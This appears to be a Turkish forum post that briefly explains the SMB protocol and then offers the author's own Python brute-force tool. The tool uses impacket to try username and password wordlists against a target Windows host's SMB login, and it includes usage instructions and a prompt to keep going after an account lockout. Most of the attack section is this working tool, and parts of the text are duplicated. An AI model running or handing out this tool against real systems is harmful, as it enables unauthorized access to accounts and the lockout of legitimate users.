Merhaba arkadaşlar, bugün SMB'den bahsediceğim.
Peki nedir bu SMB?
Peki nedir bu SMB?
SMB
Server Message Block(Sunucu İleti Bloğu), server-client arasındaki iletişimi sağlayan bir ağ protokolüdür. SMB protokolü, Windows sistemlerinin 139(iş yerlerinde çok kullanılır) ve 445 portlarını kullanarak, paylaşılan dosyalara erişimi, ağlar, yazıcılar ve çeşitli bağlantıları sağlar. Bu bağlantıların yanında oplock, dosya ve kayıt kitleme, dosya ve dizin değişikliği gibi işlemler de SMB üzerinden gerçekleşmektedir.
SMB protokolü istemci-sunucu uygulamasıdır ve istemciden gönderilen istekler veya sunucudan gönderilen cevapları içeren veri paketlerini içerir. Bu paketler şu şekilde sınıflandırılabilir;
Server Message Block(Sunucu İleti Bloğu), server-client arasındaki iletişimi sağlayan bir ağ protokolüdür. SMB protokolü, Windows sistemlerinin 139(iş yerlerinde çok kullanılır) ve 445 portlarını kullanarak, paylaşılan dosyalara erişimi, ağlar, yazıcılar ve çeşitli bağlantıları sağlar. Bu bağlantıların yanında oplock, dosya ve kayıt kitleme, dosya ve dizin değişikliği gibi işlemler de SMB üzerinden gerçekleşmektedir.
SMB protokolü istemci-sunucu uygulamasıdır ve istemciden gönderilen istekler veya sunucudan gönderilen cevapları içeren veri paketlerini içerir. Bu paketler şu şekilde sınıflandırılabilir;
- Oturum kontrol paketleri: Paylaşılan sunucu kaynaklarına bağlantıyı sağlar ve bu bağlantıyı sürdürür.
- Dosya erişim paketleri: Uzak sunucudaki dizin ve dosyalara erişir ve bunları yönetir.
- Genel mesaj paketleri: Verileri yazdırma kuyruğuna gönderir ve kuyrukların durumu hakkında veri sağlar.
Bir çoğumuzunda bildiği gibi Eternal Blue exploiti SMBv1 protokolünü kullanarak gerçekleşmiştir.
SMB BRUTE FORCE
Artık Windows işletim sistemi SMBv3 Protokolüne geçti. Yani bu Brute force aracı windows 11-10 da işe yaramıyacaktır.
Yakında SMBv3 protokolüne karşı Brute Force kodu deneyebilirim,Neyse konumuza dönelim.
Yazmış olduğum kod:
SMB BRUTE FORCE
Artık Windows işletim sistemi SMBv3 Protokolüne geçti. Yani bu Brute force aracı windows 11-10 da işe yaramıyacaktır.
Yakında SMBv3 protokolüne karşı Brute Force kodu deneyebilirim,Neyse konumuza dönelim.
Yazmış olduğum kod:
Python:
from impacket.smb import SMB
import sys
import threading
def smb_brute_force(ip, kullanici, sifre):
try:
smb_con = SMB(ip)
smb_con.login(kullanici.strip(), sifre.strip())
print("[+] Başarılı giriş:", kullanici.strip(), sifre.strip())
return True
except Exception as e:
msg = str(e)
if 'STATUS_NO_LOGON_SERVERS' in msg:
print("[-] Giriş Sunucuları Mevcut Değil:", ip)
sys.exit(1)
elif 'STATUS_LOGON_FAILURE' in msg:
print("[-] Giriş Başarısız Oldu:", ip)
sys.exit(1)
elif 'STATUS_ACCOUNT_LOCKED_OUT' in msg:
print("[-] Hesap Kilitli:", ip)
answer = input('[!] Bruteforce saldırısına devam etmek ister misiniz? (E/H) ')
if answer.lower() not in ["e", "evet", ""]:
print("[-] Çıkılıyor...")
sys.exit(1)
elif 'STATUS_PASSWORD_MUST_CHANGE' in msg or 'STATUS_ACCESS_DENIED' in msg or 'STATUS_LOGON_TYPE_NOT_GRANTED' in msg or 'STATUS_PASSWORD_EXPIRED' in msg:
print("[+] Başarılı (Hesap Aktif)")
elif 'STATUS_ACCOUNT_DISABLED' in msg:
print("[-] Geçerli Şifre (Hesap Devre Dışı)")
else:
print("[-] Bilinmeyen Hata:", msg)
def main():
if len(sys.argv) < 2:
print("Kullanım: python dosya_adi.py ip_adresi [kullanici_dosyasi sifre_dosyasi]")
sys.exit(1)
ip = sys.argv[1]
kullanici_dosyasi = None
sifre_dosyasi = None
kullanici_listesi = []
sifre_listesi = []
if input("Kullanıcı, brute force mu olacak yoksa biliniyor mu? (Y/n): ").upper() == "Y":
if len(sys.argv) < 3:
print("Brute Force adı dosyası belirtilmedi!")
sys.exit(1)
kullanici_dosyasi = sys.argv[2]
with open(kullanici_dosyasi, "r") as dosya:
kullanici_listesi = dosya.read().strip().splitlines()
if input("Şifre, brute force mu olacak yoksa biliniyor mu? (Y/n): ").upper() == "Y":
if len(sys.argv) < 4:
print("Şifre dosyası belirtilmedi!")
sys.exit(1)
sifre_dosyasi = sys.argv[3]
with open(sifre_dosyasi, "r") as dosya:
sifre_listesi = dosya.read().strip().splitlines()
thread_sayisi = int(input("Kaç tane thread kullanmak istiyorsunuz? (varsayılan: 5): ") or 5)
threads = []
for kullanici in kullanici_listesi:
for sifre in sifre_listesi:
thread = threading.Thread(target=smb_brute_force, args=(ip, kullanici, sifre))
threads.append(thread)
for i in range(0, len(threads), thread_sayisi):
thread_group = threads[i:i+thread_sayisi]
for thread in thread_group:
thread.start()
for thread in thread_group:
thread.join()
if __name__ == "__main__":
main()
Kodun kullanımı:
python dosya.py hedef_ip kullanici_dosyasi sifre_dosyasi
Kod Mükemmel olmasa da ileri konularda daha da iyilerini yapmaya çalışıcağım.
Konumu okuduğunuz için teşekkürler
python dosya.py hedef_ip kullanici_dosyasi sifre_dosyasi
Kod Mükemmel olmasa da ileri konularda daha da iyilerini yapmaya çalışıcağım.
Konumu okuduğunuz için teşekkürler
Son düzenleme: